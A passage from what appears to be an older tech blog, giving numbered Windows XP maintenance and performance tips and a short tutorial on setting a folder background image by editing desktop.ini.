14.) If your customer is an advanced user who is comfortable editing their registry, try some of the performance registry tweaks offered at Tweak XP.

15.) Visit Microsoft's Windows update site regularly, and download all updates labeled Critical. Download any optional updates at your discretion.

16.) Update the customer's anti-virus software on a weekly, even daily, basis. Make sure they have only one anti-virus software package installed. Mixing anti-virus software is a sure way to spell disaster for performance and reliability.

17.) Make sure the customer has fewer than 500 type fonts installed on their computer. The more fonts they have, the slower the system will become. While Windows XP handles fonts much more efficiently than did the previous versions of Windows, too many fonts -- that is, anything over 500 -- will noticeably tax the system.

18.) Do not partition the hard drive. Windows XP's NTFS file system runs more efficiently on one large partition. The data is no safer on a separate partition, and a reformat is never necessary to reinstall an operating system. The same excuses people offer for using partitions apply to using a folder instead. For example, instead of putting all your data on the D: drive, put it in a folder called "D drive." You'll achieve the same organizational benefits that a separate partition offers, but without the degradation in system performance. Also, your free space won't be limited by the size of the partition; instead, it will be limited by the size of the entire hard drive. This means you won't need to resize any partitions, ever. That task can be time-consuming and also can result in lost data.

19.) Check the system's RAM to ensure it is operating properly. I recommend using a free program called MemTest86. The download will make a bootable CD or diskette (your choice), which will run 10 extensive tests on the PC's memory automatically after you boot to the disk you created. Allow all tests to run until at least three passes of the 10 tests are completed. If the program encounters any errors, turn off and unplug the computer, remove a stick of memory (assuming you have more than one), and run the test again. Remember, bad memory cannot be repaired, but only replaced.

20.) If the PC has a CD or DVD recorder, check the drive manufacturer's Web site for updated firmware. In some cases you'll be able to upgrade the recorder to a faster speed. Best of all, it's free.

21.) Disable unnecessary services. Windows XP loads a lot of services that your customer most likely does not need. To determine which services you can disable for your client, visit the Black Viper site for Windows XP configurations.

22.) If you're sick of a single Windows Explorer window crashing and then taking the rest of your OS down with it, then follow this tip: open My Computer, click on Tools, then Folder Options. Now click on the View tab. Scroll down to "Launch folder windows in a separate process," and enable this option. You'll have to reboot your machine for this option to take effect.

23.) At least once a year, open the computer's cases and blow out all the dust and debris. While you're in there, check that all the fans are turning properly. Also inspect the motherboard capacitors for bulging or leaks. For more information on this leaking-capacitor phenomena, you can read numerous articles on my site.

Following any of these suggestions should result in noticeable improvements to the performance and reliability of your customers' computers. If you still want to defrag a disk, remember that the main benefit will be to make your data more retrievable in the event of a crashed drive.

Tutorial to Change your Folder Background

2008-06-25T18:28:00.000-07:00

This brief tutorial explains how to add a background image to any folder in Windows XP.

First, make sure all hidden files are visible on your system. Then, open the folder for which you wish to add a background image. Within the folder, right-click and select Properties » Customize tab » Customize. There, choose any icon, click Apply and OK.

That process should have created a "desktop.ini" file. Open that file with a text editor and add these lines of code:

[ExtShellFolderViews]
{BE098140-A513-11D0-A3A4-00C04FD706EC}={BE098140-A513-11D0-A3A4-00C04FD706EC}
[{BE098140-A513-11D0-A3A4-00C04FD706EC}]
IconArea_Image=C:\path\folder\background.jpg
To customize this according to your needs, edit the path in the last line to reflect to the location of the image you wish to use as the background image for that folder. Refresh the folder and the new background should appear.

Finally, to remove the default icon chosen during the creation of the desktop.ini and restore the default folder icon, delete these lines of code from within the desktop.ini file:

[.ShellClassInfo]
IconFile=%SystemRoot%\system32\shell32.dll
IconIndex=(some number)